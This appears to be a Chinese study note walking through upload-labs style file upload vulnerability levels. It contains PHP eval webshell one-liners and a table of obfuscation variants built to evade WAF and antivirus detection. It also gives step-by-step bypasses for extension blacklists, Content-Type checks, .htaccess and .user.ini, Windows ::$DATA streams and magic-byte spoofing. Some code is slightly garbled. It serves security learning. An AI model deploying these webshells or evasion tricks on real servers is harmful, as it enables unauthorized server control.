安全初级 | Upload 文件上传漏洞实操

上传木马：利用文件上传漏洞等方式，将包含上述代码的文件（例如shell.php）上传到目标网站的服务器目录。
发送指令：攻击者通过工具（如蚁剑、中国菜刀）向该文件发送POST请求，请求体中包含要执行的PHP代码，如password=system('whoami');。
执行指令：服务器上的木马文件收到请求后，eval()函数会将system('whoami')当作PHP代码执行，并将结果返回给攻击者。

通过这个流程，攻击者可以间接控制服务器，执行文件管理、系统命令等操作。

🛡️ 如何实现"免杀"与变形？

由于基础形态特征明显，很容易被安全软件（WAF）识别。为了绕过检测，攻击者会使用各种变形技巧来伪装。

变形技巧	代码示例	原理说明
可变变量	<?php $a = "eval";$ b = "a"; $$b($_POST $'x'$ ); ?>	通过PHP的可变变量特性，间接调用eval函数。
字符串拼接	<?php $a = "e"."v"."a"."l";$ a($_POST $'x'$ ); ?>	将关键函数名拆分成多个字符串再拼接，避免直接出现eval关键字。
编码隐藏	<?php $a = base64_decode("ZXZhbA==");$ a($_POST $'x'$ ); ?>	将eval进行Base64编码，执行时再解码，绕过基于关键字的检测。
回调函数	<?php @call_user_func("assert", $_POST $'x'$ ); ?>	使用call_user_func等函数来动态调用assert等危险函数。

除了防火墙，还有实时保护WINDOWS关不掉的，关了也会自动启动

所以用之前把火墙关了，或者实时保护；

题外话：

主机配置，和虚拟机配置不一样；IP也就不一样

两个环境不一样

用BP抓包最好不要用，127.0.0.1

虽然能访问到，但是有时候BP抓不到这个包；

开始第一关：

不仅要保证上传而且要保证上传完要访问到；

发现是基于前端的JS进行校验的；可以绕过；我们甚至可以在浏览器中不让它用JS

就BP抓包

把后缀改成PHP

因为访问的时候，没有携带参数值；所以报错

可以通过抓包传参

蚁键默认用的是POST请求

<?php ?> php 限制和过滤（php）===》怎么去让服务器正常的吧你的文件作为php文件执行

第二关

Gif

看你属性值是不是这三者的一个，如果是的话，才执行下面IF判断；否则就是文件类型不正确请重新上传；

这一关是通过content-type属性值开始校验的

有时候清空会把文件夹清理掉，新建即可

php 复制代码

<?php eval($_POST['phpinfo'];?>

Phpinfo通常会被用作测试

第三关：apache后缀解析的问题

如果是其中一个就会报错

后缀名没有完全的去过滤掉；我们有些中间件APACHE

把后缀名改成：

上传完之后PHP能不能正常的认为是PHP代码并执行

执行后出现info界面就是OK的

第4关

黑名单非常多

你传没问题，你传上去它执行不了，

目录级别的配置文件

创建一个.htaccess 文件，然后把配置写进去；

然后上传；

成功！！！！！！！

目录级别的APACHE起的作用；

第5关

把.htacess给BAN了；

这一题考的是PHP的目录级别的配置文件

Php.ini(. $user.ini$ ) 当用户访问当前目录下的某类文件的时候，默认先导入某个文件的内容

比如我现在UPdata下面，

Auto_prepend_file=proof.jpg

使用Phpstudy2018

APACHE下面必须要，跟PHP是通过PHP-fpm；那样的运行方式，这样你的user.ini才可以生效；

尝试切换版本

问AI：如何切换成使用php-fpm

会把文件重命名

这一关是黑名单没有校验全；没有把全是大写的PHP加进去；

后面也没有转小写功能

还有php7;或者phpl

所以说你的黑名单写的再完全，也不可能完全考虑到；

第6关：

·限制大小写，限制点等

加个空格

正常情况下，不显示路径，就只能猜测；

第一个：保证文件能传上去；

第二个：保证你能找到文件

第三个：你去访问文件的路径的时候，还得保证能够被当作php代码执行；

第7关：

和上一关相比，少了一个删除文件名末尾的点

你在文件名后加点本质上还是能被识别为php文件的

依旧执行，完全可以正常识别的

第8关：

刚才的侥幸，在8关就不行了

Windows里面的文件流操作

我们如果想要访问别的文件流的时候，就可以通过默认的数据流也就是真实数据部分

Test.php::$DATA

直接到13关：

它其实就是只校验了你的文件名是不是；我们通过抓包后呢；你可以直接给你的文件前面加一个，GIF89a;这样的话，拿上后就认为是有这个东西的

方法2：

你把改过的JPG文件，

用VSCODE的的16进制编辑器打开；

一般在前面固定的就那几个字符， 我就把它叫做magic number; 会根据前面的固定数字，来判断你这个文件，是什么类型的文件；

魔数（Magic Number） 是文件头部几个字节的特定序列，用于在操作系统层面快速、准确地识别文件类型，而不依赖于可能被随意修改的文件扩展名。以下是一些常见文件类型的魔数字节（十六进制表示）：

文件格式	魔数（十六进制）	备注
JPEG	FF D8 FF	常见于JPEG/JFIF格式，部分变体以FF D8 FF E0或FF D8 FF E1开头。
PNG	89 50 4E 47 0D 0A 1A 0A	固定8字节。
GIF	47 49 46 38 (GIF8)	ASCII码对应字符串 "GIF8"。
BMP	42 4D	ASCII码对应字符串 "BM"。
TIFF	49 49 2A 00 或 4D 4D 00 2A	分别对应小端序和大端序。

📄 文档与压缩文件

文件格式	魔数（十六进制）	备注
PDF	25 50 44 46	ASCII码对应字符串 "%PDF"。
ZIP	50 4B 03 04	ASCII码对应字符串 "PK"。DOCX、XLSX等Office文档也是ZIP容器。
RAR	52 61 72 21	ASCII码对应字符串 "Rar!"。
7-Zip	37 7A BC AF 27 1C	。
GZIP	1F 8B 08	。

🎵 音视频文件

文件格式	魔数（十六进制）	备注
MP3	49 44 33	包含ID3标签的MP3文件。
WAV	52 49 46 46	ASCII码对应字符串 "RIFF"。
AVI	52 49 46 46	同样以 "RIFF" 开头。
MP4	66 74 79 70 (在偏移量4字节处)	ASCII码对应字符串 "ftyp"。

⚙️ 可执行文件

文件格式	魔数（十六进制）	备注
Windows EXE/DLL	4D 5A	ASCII码对应字符串 "MZ"。
Linux ELF	7F 45 4C 46	ASCII码对应字符串 "\x7FELF"。
Java Class	CA FE BA BE	著名的Java咖啡杯魔数。